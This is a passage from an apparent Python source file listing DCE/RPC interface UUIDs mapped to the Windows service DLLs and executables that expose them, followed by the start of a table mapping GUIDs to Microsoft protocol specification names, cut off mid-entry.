\"lsasrv.dll\",\nb\"\\xc0\\xc4\\x55\\xae\\xce\\x64\\xdd\\x11\\xad\\x8b\\x08\\x00\\x20\\x0c\\x9a\\x66\\x01\\x00\": \"bdesvc.dll\",\nb\"\\xc4\\x0c\\x3c\\xe3\\x82\\x04\\x1a\\x10\\xbc\\x0c\\x02\\x60\\x8c\\x6b\\xa2\\x18\\x01\\x00\": \"locator.exe\",\nb\"\\x0e\\x3b\\x6c\\x50\\xd1\\x4b\\x56\\x4c\\x88\\xc0\\x49\\xa2\\x0e\\xd4\\xb5\\x39\\x01\\x00\": \"milcore.dll\",\nb\"\\x3e\\x8e\\xb0\\x2e\\x9f\\x63\\xba\\x4f\\x97\\xb1\\x14\\xf8\\x78\\x96\\x10\\x76\\x01\\x00\": \"gpsvc.dll\",\nb\"\\x66\\x9f\\x9b\\x62\\x6c\\x55\\xd1\\x11\\x8d\\xd2\\x00\\xaa\\x00\\x4a\\xbd\\x5e\\x02\\x00\": \"sens.dll\",\nb\"\\xb5\\x6d\\xac\\xc9\\xb7\\x82\\x55\\x4e\\xae\\x8a\\xe4\\x64\\xed\\x7b\\x42\\x77\\x01\\x00\": \"sysntfy.dll\",\nb\"\\x98\\x46\\xbc\\xa0\\xd7\\xb8\\x30\\x43\\xa2\\x8f\\x77\\x09\\xe1\\x8b\\x61\\x08\\x04\\x00\": \"Sens.dll\",\nb\"\\x1e\\xc9\\x31\\x3f\\x45\\x25\\x7b\\x4b\\x93\\x11\\x95\\x29\\xe8\\xbf\\xfe\\xf6\\x01\\x00\": \"p2psvc.dll\",\nb\"\\x3e\\xca\\x86\\xc3\\x61\\x90\\x72\\x4a\\x82\\x1e\\x49\\x8d\\x83\\xbe\\x18\\x8f\\x02\\x00\": \"audiosrv.dll\",\nb\"\\x3e\\xca\\x86\\xc3\\x61\\x90\\x72\\x4a\\x82\\x1e\\x49\\x8d\\x83\\xbe\\x18\\x8f\\x02\\x02\": \"audiosrv.dll\",\nb\"\\xf8\\x91\\x7b\\x5a\\x00\\xff\\xd0\\x11\\xa9\\xb2\\x00\\xc0\\x4f\\xb6\\xe6\\xfc\\x01\\x00\": \"msgsvc.dll\",\nb\"\\x98\\xd0\\xff\\x6b\\x12\\xa1\\x10\\x36\\x98\\x33\\x46\\xc3\\xf8\\x74\\x53\\x2d\\x01\\x00\": \"dhcpssvc.dll\",\nb\"\\xb8\\xd0\\x48\\xe2\\x15\\xbf\\xcf\\x11\\x8c\\x5e\\x08\\x00\\x2b\\xb4\\x96\\x49\\x02\\x00\": \"clussvc.exe\",\nb\"\\x78\\xad\\xbc\\x1c\\x0b\\xdf\\x34\\x49\\xb5\\x58\\x87\\x83\\x9e\\xa5\\x01\\xc9\\x00\\x00\": \"lsasrv.dll\",\nb\"\\x87\\x76\\xcb\\xc8\\xd3\\xe6\\xd2\\x11\\xa9\\x58\\x00\\xc0\\x4f\\x68\\x2e\\x16\\x01\\x00\": \"WebClnt.dll\",\nb\"\\x88\\xd4\\x81\\xc6\\x50\\xd8\\xd0\\x11\\x8c\\x52\\x00\\xc0\\x4f\\xd9\\x0f\\x7e\\x01\\x00\": \"lsasrv.dll\",\nb\"\\x80\\x35\\x5b\\x5b\\xe0\\xb0\\xd1\\x11\\xb9\\x2d\\x00\\x60\\x08\\x1e\\x87\\xf0\\x01\\x00\": \"mqqm.dll\",\nb\"\\xf0\\x09\\x8f\\xed\\xb7\\xce\\x11\\xbb\\xd2\\x00\\x00\\x1a\\x18\\x1c\\xad\\x00\\x00\\x00\": \"mprdim.dll\",\nb\"\\xd8\\x5d\\xe6\\x12\\x7f\\x88\\xef\\x41\\x91\\xbf\\x8d\\x81\\x6c\\x42\\xc2\\xe7\\x01\\x00\": \"winlogon.exe\",\nb\"\\xf8\\x91\\x7b\\x5a\\x00\\xff\\xd0\\x11\\xa9\\xb2\\x00\\xc0\\x4f\\xb6\\x36\\xfc\\x01\\x00\": \"msgsvc.dll\",\nb\"\\x01\\xd0\\x8c\\x33\\x44\\x22\\xf1\\x31\\xaa\\xaa\\x90\\x00\\x38\\x00\\x10\\x03\\x01\\x00\": \"regsvc.dll\",\nb\"\\x03\\xd7\\xfd\\x17\\x27\\x18\\x34\\x4e\\x79\\xd4\\x24\\xa5\\x5c\\x53\\xbb\\x37\\x01\\x00\": \"msgsvc.dll\",\nb\"\\x1c\\x95\\x57\\x33\\xd1\\xa1\\xdb\\x47\\xa2\\x78\\xab\\x94\\x5d\\x06\\x3d\\x03\\x01\\x00\": \"LBService.dll\",\nb\"\\xab\\xbe\\x00\\xc1\\x3a\\xd3\\x4b\\x4a\\xbf\\x23\\xbb\\xef\\x46\\x63\\xd0\\x17\\x01\\x00\": \"wcncsvc.dll\",\nb\"\\xc4\\xfc\\x7b\\x82\\xb4\\x38\\xcd\\x4a\\x92\\xe4\\x21\\xe1\\x50\\x6b\\x85\\xfb\\x01\\x00\": \"SLsvc.exe\",\nb\"\\x00\\xf0\\x09\\x8f\\xed\\xb7\\xce\\x11\\xbb\\xd2\\x00\\x00\\x1a\\x18\\x1c\\xad\\x00\\x00\": \"mprdim.dll\",\nb\"\\x4b\\xa0\\x12\\x72\\x63\\xb4\\x2e\\x40\\x96\\x49\\x2b\\xa4\\x77\\x39\\x46\\x76\\x01\\x00\": \"umrdp.dll\",\nb\"\\x20\\x65\\x5f\\x2f\\x46\\xca\\x67\\x10\\xb3\\x19\\x00\\xdd\\x01\\x06\\x62\\xda\\x01\\x00\": \"tapisrv.dll\",\nb\"\\xa0\\x9e\\xc0\\x69\\x09\\x4a\\x1b\\x10\\xae\\x4b\\x08\\x00\\x2b\\x34\\x9a\\x02\\x00\\x00\": \"ole32.dll\",\nb\"\\xd0\\x3f\\x14\\x88\\x8d\\xc2\\x2b\\x4b\\x8f\\xef\\x8d\\x88\\x2f\\x6a\\x93\\x90\\x01\\x00\": \"lsm.exe\",\nb\"\\xe6\\x73\\x0c\\xe6\\xf9\\x88\\xcf\\x11\\x9a\\xf1\\x00\\x20\\xaf\\x6e\\x72\\xf4\\x02\\x00\": \"rpcss.dll\",\nb\"\\x6c\\xfc\\x79\\xde\\x6f\\xdc\\xc7\\x43\\xa4\\x8e\\x63\\xbb\\xc8\\xd4\\x00\\x9d\\x01\\x00\": \"rdpclip.exe\",\nb\"\\x41\\x82\\xb5\\x68\\x59\\xc2\\x03\\x4f\\xa2\\xe5\\xa2\\x65\\x1d\\xcb\\xc9\\x30\\x01\\x00\": \"cryptsvc.dll\",\nb\"\\x80\\xa9\\x88\\x10\\xe5\\xea\\xd0\\x11\\x8d\\x9b\\x00\\xa0\\x24\\x53\\xc3\\x37\\x01\\x00\": \"mqqm.dll\",\nb\"\\xcf\\x0b\\xa7\\x7e\\xaf\\x48\\x6a\\x4f\\x89\\x68\\x6a\\x44\\x07\\x54\\xd5\\xfa\\x01\\x00\": \"nsisvc.dll\",\nb\"\\xe0\\xca\\x02\\xec\\xe0\\xb9\\xd2\\x11\\xbe\\x62\\x00\\x20\\xaf\\xed\\xdf\\x63\\x01\\x00\": \"mq1repl.dll\",\nb\"\\xb3\\x8b\\x0b\\x59\\xf6\\x4e\\xa4\\x4c\\x83\\xcf\\xbe\\x06\\xc4\\x07\\x86\\x74\\x01\\x00\": \"PSIService.exe\",\nb\"\\xce\\x9f\\x75\\x89\\x25\\x5a\\x86\\x40\\x89\\x67\\xde\\x12\\xf3\\x9a\\x60\\xb5\\x01\\x00\": \"tssdjet.dll\",\nb\"\\x5d\\x2c\\x95\\x25\\x76\\x79\\xa1\\x4a\\xa3\\xcb\\xc3\\x5f\\x7a\\xe7\\x9d\\x1b\\x01\\x00\": \"wlansvc.dll\",\nb\"\\xc5\\x41\\x19\\xdf\\x89\\xfe\\x79\\x4e\\xbf\\x10\\x46\\x36\\x57\\xac\\xf4\\x4d\\x01\\x00\": \"efssvc.dll\",\nb\"\\xc1\\xcd\\x1a\\x8f\\x4d\\x75\\xeb\\x43\\x96\\x29\\xaa\\x16\\x20\\x92\\x8e\\x65\\x00\\x00\": \"IMEPADSM.DLL\",\nb\"\\xdf\\x76\\x49\\x65\\x98\\x14\\x56\\x40\\xa1\\x5e\\xcb\\x4e\\x87\\x58\\x4b\\xd8\\x01\\x00\": \"emdmgmt.dll\",\nb\"\\xe0\\x42\\xc7\\x4f\\x10\\x4a\\xcf\\x11\\x82\\x73\\x00\\xaa\\x00\\x4a\\xe6\\x73\\x03\\x00\": \"dfssvc.exe\",\nb\"\\xfa\\xdb\\x6e\\x0b\\x24\\x4a\\xc6\\x4f\\x8a\\x23\\x94\\x2b\\x1e\\xca\\x65\\xd1\\x01\\x00\": \"spoolsv.exe\",\nb\"\\xc8\\xb7\\xd4\\x12\\xd5\\x77\\xd1\\x11\\x8c\\x24\\x00\\xc0\\x4f\\xa3\\x08\\x0d\\x01\\x00\": \"lserver.dll\",\nb\"\\x44\\xaf\\x7d\\x8c\\xdc\\xb6\\xd1\\x11\\x9a\\x4c\\x00\\x20\\xaf\\x6e\\x7c\\x57\\x01\\x00\": \"appmgmts.dll\",\nb\"\\xae\\x99\\x86\\x9b\\x44\\x0e\\xb1\\x47\\x8e\\x7f\\x86\\xa4\\x61\\xd7\\xec\\xdc\\x00\\x00\": \"rpcss.dll\",\nb\"\\x84\\x65\\x0a\\x0b\\x0f\\x9e\\xcf\\x11\\xa3\\xcf\\x00\\x80\\x5f\\x68\\xcb\\x1b\\x01\\x01\": \"rpcss.dll\",\nb\"\\xa2\\x9c\\x14\\x93\\x3b\\x97\\xd1\\x11\\x8c\\x39\\x00\\xc0\\x4f\\xb9\\x84\\xf9\\x00\\x00\": \"scecli.dll\",\nb\"\\x7d\\x25\\x13\\xfc\\x67\\x55\\xea\\x4d\\x89\\x8d\\xc6\\xf9\\xc4\\x84\\x15\\xa0\\x01\\x00\": \"mqqm.dll\",\nb\"\\x82\\x26\\xb9\\x2f\\x99\\x65\\xdc\\x42\\xae\\x13\\xbd\\x2c\\xa8\\x9b\\xd1\\x1c\\x01\\x00\": \"MPSSVC.dll\",\nb\"\\x76\\x22\\x3a\\x33\\x00\\x00\\x00\\x00\\x0d\\x00\\x00\\x80\\x9c\\x00\\x00\\x00\\x03\\x00\": \"rpcrt4.dll\",\nb\"\\xf0\\x0e\\xd7\\xd6\\x3b\\x0e\\xcb\\x11\\xac\\xc3\\x08\\x00\\x2b\\x1d\\x29\\xc4\\x01\\x00\": \"locator.exe\",\nb\"\\xdd\\x34\\x91\\x1a\\x39\\x7b\\xba\\x45\\xad\\x88\\x44\\xd0\\x1c\\xa4\\x7f\\x28\\x01\\x00\": \"mqqm.dll\",\nb\"\\xfe\\x95\\x31\\x9b\\x03\\xd6\\xd1\\x43\\xa0\\xd5\\x90\\x72\\xd7\\xcd\\xe1\\x22\\x01\\x00\": \"tssdjet.dll\",\nb\"\\x55\\x1a\\x20\\x6f\\x4d\\xa2\\x5f\\x49\\xaa\\xc9\\x2f\\x4f\\xce\\x34\\xdf\\x98\\x01\\x00\": \"iphlpsvc.dll\",\nb\"\\x5f\\x2e\\x7e\\x89\\xf3\\x93\\x76\\x43\\x9c\\x9c\\xfd\\x22\\x77\\x49\\x5c\\x27\\x01\\x00\": \"dfsrmig.exe\",\nb\"\\x90\\x2c\\xfe\\x98\\x42\\xa5\\xd0\\x11\\xa4\\xef\\x00\\xa0\\xc9\\x06\\x29\\x10\\x01\\x00\": \"advapi32.dll\",\nb\"\\x0c\\xc5\\xad\\x30\\xbc\\x5c\\xce\\x46\\x9a\\x0e\\x91\\x91\\x47\\x89\\xe2\\x3c\\x01\\x00\": \"nrpsrv.dll\",\nb\"\\x1e\\x24\\x2f\\x41\\x2a\\xc1\\xce\\x11\\xab\\xff\\x00\\x20\\xaf\\x6e\\x7a\\x17\\x00\\x02\": \"rpcss.dll\",\nb\"\\xe6\\x53\\x3a\\x9f\\xb1\\xcb\\x54\\x4e\\x87\\x8e\\xaf\\x9f\\x82\\x3a\\xa3\\xf1\\x01\\x00\": \"MpRtMon.dll\",\nb\"\\xa8\\xe5\\xfc\\x1d\\x8a\\xdd\\x33\\x4e\\xaa\\xce\\xf6\\x03\\x92\\x2f\\xd9\\xe7\\x00\\x01\": \"wpcsvc.dll\",\nb\"\\xf0\\x0e\\xd7\\xd6\\x3b\\x0e\\xcb\\x11\\xac\\xc3\\x08\\x00\\x2b\\x1d\\x29\\xc3\\x01\\x00\": \"locator.exe\",\nb\"\\x46\\xd7\\xd0\\xe3\\xaf\\xd2\\xfd\\x40\\x8a\\x7a\\x0d\\x70\\x78\\xbb\\x70\\x92\\x01\\x00\": \"qmgr.dll\",\nb\"\\x5a\\x23\\xb5\\xc6\\x13\\xe4\\x1d\\x48\\x9a\\xc8\\x31\\x68\\x1b\\x1f\\xaa\\xf5\\x01\\x01\": \"SCardSvr.dll\",\nb\"\\x5a\\x23\\xb5\\xc6\\x13\\xe4\\x1d\\x48\\x9a\\xc8\\x31\\x68\\x1b\\x1f\\xaa\\xf5\\x01\\x00\": \"SCardSvr.dll\",\nb\"\\x69\\x45\\x81\\x7d\\xb3\\x35\\x50\\x48\\xbb\\x32\\x83\\x03\\x5f\\xce\\xbf\\x6e\\x01\\x00\": \"ias.dll\",\nb\"\\x41\\xea\\x25\\x48\\xe3\\x51\\x2a\\x4c\\x84\\x06\\x8f\\x2d\\x26\\x98\\x39\\x5f\\x01\\x00\": \"userenv.dll\",\nb\"\\xc4\\xfe\\xfc\\x99\\x60\\x52\\x1b\\x10\\xbb\\xcb\\x00\\xaa\\x00\\x21\\x34\\x7a\\x00\\x00\": \"rpcss.dll\",\nb\"\\xc5\\x28\\x47\\x3c\\xab\\xf0\\x8b\\x44\\xbd\\xa1\\x6c\\xe0\\x1e\\xb0\\xa6\\xd5\\x01\\x00\": \"dhcpcsvc.dll\",\nb\"\\xe0\\x8e\\x20\\x41\\x70\\xe9\\xd1\\x11\\x9b\\x9e\\x00\\xe0\\x2c\\x06\\x4c\\x39\\x01\\x00\": \"mqqm.dll\",\nb\"\\xbf\\x7b\\x40\\xcb\\x4f\\xc1\\xd9\\x4c\\x8f\\x55\\xcb\\xb0\\x81\\x46\\x59\\x8c\\x00\\x00\": \"IMJPDCT.EXE\",\nb\"\\x78\\x56\\x34\\x12\\x34\\x12\\xcd\\xab\\xef\\x00\\x01\\x23\\x45\\x67\\xcf\\xfb\\x01\\x00\": \"netlogon.dll\",\nb\"\\x30\\x4c\\xda\\x83\\x3a\\xea\\xcf\\x11\\x9c\\xc1\\x08\\x00\\x36\\x01\\xe5\\x06\\x01\\x00\": \"nfsclnt.exe\",\nb\"\\x1f\\xa7\\x37\\x21\\x5e\\xbb\\x29\\x4e\\x8e\\x7e\\x2e\\x46\\xa6\\x68\\x1d\\xbf\\x09\\x00\": \"wspsrv.exe - Microsoft ISA Server\",\nb\"\\x1e\\x67\\xe9\\xc0\\xc6\\x33\\x38\\x44\\x94\\x64\\x56\\xb2\\xe1\\xb1\\xc7\\xb4\\x01\\x00\": \"wbiosrvc.dll\",\nb\"\\x80\\xbd\\xa8\\xaf\\x8a\\x7d\\xc9\\x11\\xbe\\xf4\\x08\\x00\\x2b\\x10\\x29\\x89\\x01\\x00\": \"rpcrt4.dll\",\nb\"\\x8b\\x3c\\xf1\\x6a\\x44\\x08\\x83\\x4c\\x90\\x64\\x18\\x92\\xba\\x82\\x55\\x27\\x01\\x00\": \"tssdis.exe\",\nb\"\\x55\\x51\\xd8\\xec\\x3a\\xcc\\x10\\x4f\\xaa\\xd5\\x9a\\x9a\\x2b\\xf2\\xef\\x0c\\x01\\x00\": \"termsrv.dll\",\nb\"\\xe8\\x98\\x8b\\xbb\\xdd\\x84\\xe7\\x45\\x9f\\x34\\xc3\\xfb\\x61\\x55\\xee\\xed\\x01\\x00\": \"vaultsvc.dll\",\nb\"\\x86\\xb1\\x49\\xd0\\x4f\\x81\\xd1\\x11\\x9a\\x3c\\x00\\xc0\\x4f\\xc9\\xb2\\x32\\x01\\x00\": \"ntfrs.exe\",\nb\"\\x5d\\x2c\\x95\\x25\\x76\\x79\\xa1\\x4a\\xa3\\xcb\\xc3\\x5f\\x7a\\xe7\\x9d\\x1b\\x01\\x01\": \"wlansvc.dll\",\nb\"\\x7f\\x0b\\xfe\\x64\\xf5\\x9e\\x53\\x45\\xa7\\xdb\\x9a\\x19\\x75\\x77\\x75\\x54\\x01\\x00\": \"rpcss.dll\",\nb\"\\x86\\xd4\\xdc\\x68\\x9e\\x66\\xd1\\x11\\xab\\x0c\\x00\\xc0\\x4f\\xc2\\xdc\\xd2\\x02\\x00\": \"ismserv.exe\",\nb\"\\xc3\\x26\\xf2\\x76\\x14\\xec\\x25\\x43\\x8a\\x99\\x6a\\x46\\x34\\x84\\x18\\xae\\x01\\x00\": \"winlogon.exe\",\nb\"\\x23\\x05\\x7a\\xfd\\x70\\xdc\\xdd\\x43\\x9b\\x2e\\x9c\\x5e\\xd4\\x82\\x25\\xb1\\x01\\x00\": \"appinfo.dll\",\nb\"\\x40\\xfd\\x2c\\x34\\x6c\\x3c\\xce\\x11\\xa8\\x93\\x08\\x00\\x2b\\x2e\\x9c\\x6d\\x00\\x00\": \"llssrv.exe\",\nb\"\\x84\\xd8\\xb6\\x8f\\x88\\x23\\xd0\\x11\\x8c\\x35\\x00\\xc0\\x4f\\xda\\x27\\x95\\x04\\x01\": \"w32time.dll\",\nb\"\\x9b\\x06\\x33\\xae\\xa8\\xa2\\xee\\x46\\xa2\\x35\\xdd\\xfd\\x33\\x9b\\xe2\\x81\\x01\\x00\": \"spoolsv.exe\",\nb\"\\x26\\xb5\\x55\\x1d\\x37\\xc1\\xc5\\x46\\xab\\x79\\x63\\x8f\\x2a\\x68\\xe8\\x69\\x01\\x00\": \"rpcss.dll\",\nb\"\\xa0\\xaa\\x17\\x6e\\x47\\x1a\\xd1\\x11\\x98\\xbd\\x00\\x00\\xf8\\x75\\x29\\x2e\\x02\\x00\": \"clussvc.exe\",\nb\"\\xdf\\x5f\\xe9\\xbd\\xe0\\xee\\xde\\x45\\x9e\\x12\\xe5\\xa6\\x1c\\xd0\\xd4\\xfe\\x01\\x00\": \"termsrv.dll\",\nb\"\\xac\\xbe\\x00\\xc1\\x3a\\xd3\\x4b\\x4a\\xbf\\x23\\xbb\\xef\\x46\\x63\\xd0\\x17\\x01\\x00\": \"wcncsvc.dll\",\nb\"\\x78\\x56\\x34\\x12\\x34\\x12\\xcd\\xab\\xef\\x00\\x01\\x23\\x45\\x67\\x89\\xab\\x01\\x00\": \"spoolsv.exe\",\nb\"\\x06\\x50\\x7b\\x8a\\x13\\xcc\\xdb\\x11\\x97\\x05\\x00\\x50\\x56\\xc0\\x00\\x08\\x01\\x00\": \"appidsvc.dll\",\nb\"\\x20\\x60\\xae\\x91\\x3c\\x9e\\xcf\\x11\\x8d\\x7c\\x00\\xaa\\x00\\xc0\\x91\\xbe\\x00\\x00\": \"certsrv.exe\",\nb\"\\x16\\xbb\\x74\\x81\\x1b\\x57\\x38\\x4c\\x83\\x86\\x11\\x02\\xb4\\x49\\x04\\x4a\\x01\\x00\": \"p2psvc.dll\",\nb\"\\x36\\x00\\x61\\x20\\x22\\xfa\\xcf\\x11\\x98\\x23\\x00\\xa0\\xc9\\x11\\xe5\\xdf\\x01\\x00\": \"rasmans.dll\",\nb\"\\x70\\x0d\\xec\\xec\\x03\\xa6\\xd0\\x11\\x96\\xb1\\x00\\xa0\\xc9\\x1e\\xce\\x30\\x01\\x00\": \"ntdsbsrv.dll\",\nb\"\\x1c\\xef\\x74\\x0a\\xa4\\x41\\x06\\x4e\\x83\\xae\\xdc\\x74\\xfb\\x1c\\xdd\\x53\\x01\\x00\": \"schedsvc.dll\",\nb\"\\x25\\x04\\x49\\xdd\\x25\\x53\\x65\\x45\\xb7\\x74\\x7e\\x27\\xd6\\xc0\\x9c\\x24\\x01\\x00\": \"BFE.DLL\",\nb\"\\x7c\\x5a\\xcc\\xf5\\x64\\x42\\x1a\\x10\\x8c\\x59\\x08\\x00\\x2b\\x2f\\x84\\x26\\x15\\x00\": \"ntdsa.dll\",\nb\"\\xa0\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x46\\x00\\x00\": \"rpcss.dll\",\nb\"\\x49\\x59\\xd3\\x86\\xc9\\x83\\x44\\x40\\xb4\\x24\\xdb\\x36\\x32\\x31\\xfd\\x0c\\x01\\x00\": \"schedsvc.dll\",\nb\"\\x35\\x08\\x22\\x11\\x26\\x5b\\x94\\x4d\\xae\\x86\\xc3\\xe4\\x75\\xa8\\x09\\xde\\x01\\x00\": \"lsasrv.dll\",\nb\"\\xa8\\x66\\x00\\xc8\\x79\\x75\\xfc\\x44\\xb9\\xb2\\x84\\x66\\x93\\x07\\x91\\xb0\\x01\\x00\": \"umrdp.dll\",\nb\"\\xab\\x59\\xec\\xf1\\xa9\\x4c\\x30\\x4c\\xb2\\xd0\\x54\\xef\\x1d\\xb4\\x41\\xb7\\x01\\x00\": \"iertutil.dll\",\nb\"\\xba\\xaa\\x67\\x52\\x49\\x4f\\x53\\x46\\x8e\\x26\\xd1\\xe1\\x1f\\x3f\\x2a\\xd9\\x01\\x00\": \"termsrv.dll\",\nb\"\\x60\\x9e\\xe7\\xb9\\x52\\x3d\\xce\\x11\\xaa\\xa1\\x00\\x00\\x69\\x01\\x29\\x3f\\x00\\x00\": \"rpcss.dll\",\nb\"\\x60\\x9e\\xe7\\xb9\\x52\\x3d\\xce\\x11\\xaa\\xa1\\x00\\x00\\x69\\x01\\x29\\x3f\\x00\\x02\": \"rpcss.dll\",\nb\"\\x38\\x47\\xaf\\x3f\\x21\\x3a\\x07\\x43\\xb4\\x6c\\xfd\\xda\\x9b\\xb8\\xc0\\xd5\\x01\\x02\": \"audiosrv.dll\",\nb\"\\x38\\x47\\xaf\\x3f\\x21\\x3a\\x07\\x43\\xb4\\x6c\\xfd\\xda\\x9b\\xb8\\xc0\\xd5\\x01\\x01\": \"audiosrv.dll\",\nb\"\\x20\\x32\\x5f\\x2f\\x26\\xc1\\x76\\x10\\xb5\\x49\\x07\\x4d\\x07\\x86\\x19\\xda\\x01\\x02\": \"netdde.exe\",\nb\"\\xbf\\x11\\x9d\\x7f\\xb9\\x7f\\x6b\\x43\\xa8\\x12\\xb2\\xd5\\x0c\\x5d\\x4c\\x03\\x01\\x00\": \"MPSSVC.dll\",\nb\"\\xbf\\x52\\x5a\\xb2\\xdd\\xe5\\x4a\\x4f\\xae\\xa6\\x8c\\xa7\\x27\\x2a\\x0e\\x86\\x01\\x00\": \"keyiso.dll\",\nb\"\\x04\\x22\\x11\\x4b\\x19\\x0e\\xd3\\x11\\xb4\\x2b\\x00\\x00\\xf8\\x1f\\xeb\\x9f\\x01\\x00\": \"ssdpsrv.dll\",\nb\"\\x97\\xb2\\xee\\x04\\xf4\\xcb\\x6b\\x46\\x8a\\x2a\\xbf\\xd6\\xa2\\xf1\\x0b\\xba\\x01\\x00\": \"efssvc.dll\",\nb\"\\x40\\xb2\\x9b\\x20\\x19\\xb9\\xd1\\x11\\xbb\\xb6\\x00\\x80\\xc7\\x5e\\x4e\\xc1\\x01\\x00\": \"irmon.dll\",\nb\"\\x96\\x3f\\xf0\\x76\\xfd\\xcd\\xfc\\x44\\xa2\\x2c\\x64\\x95\\x0a\\x00\\x12\\x09\\x01\\x00\": \"spoolsv.exe\",\nb\"\\x4a\\xa5\\xbb\\x06\\x05\\xbe\\xf9\\x49\\xb0\\xa0\\x30\\xf7\\x90\\x26\\x10\\x23\\x01\\x00\": \"wscsvc.dll\",\nb\"\\xa6\\xb2\\xdd\\x1b\\xc3\\xc0\\xbe\\x41\\x87\\x03\\xdd\\xbd\\xf4\\xf0\\xe8\\x0a\\x01\\x00\": \"dot3svc.dll\",\nb\"\\x82\\x15\\x41\\xaa\\xdf\\x9b\\xfb\\x48\\xb4\\x2b\\xfa\\xa1\\xee\\xe3\\x39\\x49\\x01\\x00\": \"nlasvc.dll\",\nb\"\\xfa\\x9d\\xd7\\xd2\\x00\\x34\\xd0\\x11\\xb4\\x0b\\x00\\xaa\\x00\\x5f\\xf5\\x86\\x01\\x00\": \"dmadmin.exe\",\nb\"\\x12\\xfc\\x99\\x60\\xff\\x3e\\xd0\\x11\\xab\\xd0\\x00\\xc0\\x4f\\xd9\\x1a\\x4e\\x03\\x00\": \"FXSAPI.dll\",\nb\"\\x1e\\x24\\x2f\\x41\\x2a\\xc1\\xce\\x11\\xab\\xff\\x00\\x20\\xaf\\x6e\\x7a\\x17\\x00\\x00\": \"rpcss.dll\",\nb\"\\xd5\\x33\\x9a\\x2c\\xdb\\xf1\\x2d\\x47\\x84\\x64\\x42\\xb8\\xb0\\xc7\\x6c\\x38\\x01\\x00\": \"tbssvc.dll\",\nb\"\\x30\\x7c\\xde\\x3d\\x5d\\x16\\xd1\\x11\\xab\\x8f\\x00\\x80\\x5f\\x14\\xdb\\x40\\x01\\x00\": \"services.exe\",\nb\"\\x86\\xb1\\x49\\xd0\\x4f\\x81\\xd1\\x11\\x9a\\x3c\\x00\\xc0\\x4f\\xc9\\xb2\\x32\\x01\\x01\": \"ntfrs.exe\",\nb\"\\x94\\x8c\\x95\\x95\\x24\\xa4\\x55\\x40\\xb6\\x2b\\xb7\\xf4\\xd5\\xc4\\x77\\x70\\x01\\x00\": \"winlogon.exe\",\nb\"\\xe3\\x31\\x67\\x32\\xc0\\xc1\\x69\\x4a\\xae\\x20\\x7d\\x90\\x44\\xa4\\xea\\x5c\\x01\\x00\": \"profsvc.dll\",\nb\"\\x18\\x5a\\xcc\\xf5\\x64\\x42\\x1a\\x10\\x8c\\x59\\x08\\x00\\x2b\\x2f\\x84\\x26\\x38\\x00\": \"ntdsai.dll\",\nb\"\\x0f\\x6a\\xe9\\x4b\\x52\\x9f\\x29\\x47\\xa5\\x1d\\xc7\\x06\\x10\\xf1\\x18\\xb0\\x01\\x00\": \"wbiosrvc.dll\",\nb\"\\x80\\x42\\xad\\x82\\x6b\\x03\\xcf\\x11\\x97\\x2c\\x00\\xaa\\x00\\x68\\x87\\xb0\\x02\\x00\": \"infocomm.dll\",\nb\"\\x87\\x04\\x26\\x1f\\x29\\xba\\x13\\x4f\\x92\\x8a\\xbb\\xd2\\x97\\x61\\xb0\\x83\\x01\\x00\": \"termsrv.dll\",\nb\"\\x70\\x07\\xf7\\x18\\x64\\x8e\\xcf\\x11\\x9a\\xf1\\x00\\x20\\xaf\\x6e\\x72\\xf4\\x00\\x00\": \"ole32.dll\",\nb\"\\xc0\\xeb\\x4f\\xfa\\x91\\x45\\xce\\x11\\x95\\xe5\\x00\\xaa\\x00\\x51\\xe5\\x10\\x04\\x00\": \"autmgr32.exe\",\nb\"\\x10\\xca\\x8c\\x70\\x69\\x95\\xd1\\x11\\xb2\\xa5\\x00\\x60\\x97\\x7d\\x81\\x18\\x01\\x00\": \"mqdssrv.dll\",\nb\"\\x28\\x2c\\xf5\\x45\\x9f\\x7f\\x1a\\x10\\xb5\\x2b\\x08\\x00\\x2b\\x2e\\xfa\\xbe\\x01\\x00\": \"WINS.EXE\",\nb\"\\x31\\xa3\\x59\\x2f\\x7d\\xbf\\xcb\\x48\\x9e\\x5c\\x7c\\x09\\x0d\\x76\\xe8\\xb8\\x01\\x00\": \"termsrv.dll\",\nb\"\\x61\\x26\\x45\\x4a\\x90\\x82\\x36\\x4b\\x8f\\xbe\\x7f\\x40\\x93\\xa9\\x49\\x78\\x01\\x00\": \"spoolsv.exe\",\n}\n\nKNOWN_PROTOCOLS = {\n'52C80B95-C1AD-4240-8D89-72E9FA84025E':'[MC-CCFG]: Server Cluster:',\n'FA7660F6-7B3F-4237-A8BF-ED0AD0DCBBD9':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'450386DB-7409-4667-935E-384DBBEE2A9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'832A32F7-B3EA-4B8C-B260-9A2923001184':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'2D9915FB-9D42-4328-B782-1B46819FAB9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'0DD8A158-EBE6-4008-A1D9-B7ECC8F1104B':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'0716CAF8-7D05-4A46-8099-77594BE91394':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'B80F3C42-60E0-4AE0-9007-F52852D3DBED':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'0344CDDA-151E-4CBF-82DA-66AE61E97754':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'8BED2C68-A5FB-4B28-8581-A0DC5267419F':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'7883CA1C-1112-4447-84C3-52FBEB38069D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'09829352-87C2-418D-8D79-4133969A489D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'5B5A68E6-8B9F-45E1-8199-A95FFCCDFFFF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'9BE77978-73ED-4A9A-87FD-13F09FEC1B13':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'ED35F7A1-5024-4E7B-A44D-07DDAF4B524D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'4DFA1DF3-8900-4BC7-BBB5-D1A458C52410':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'370AF178-7758-4DAD-8146-7391F6E18585':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',\n'C8550BFF-5281-4B1E-AC34-99B6FA38464D':'[MC-IISA]: Internet Information Services (IIS) Application Host 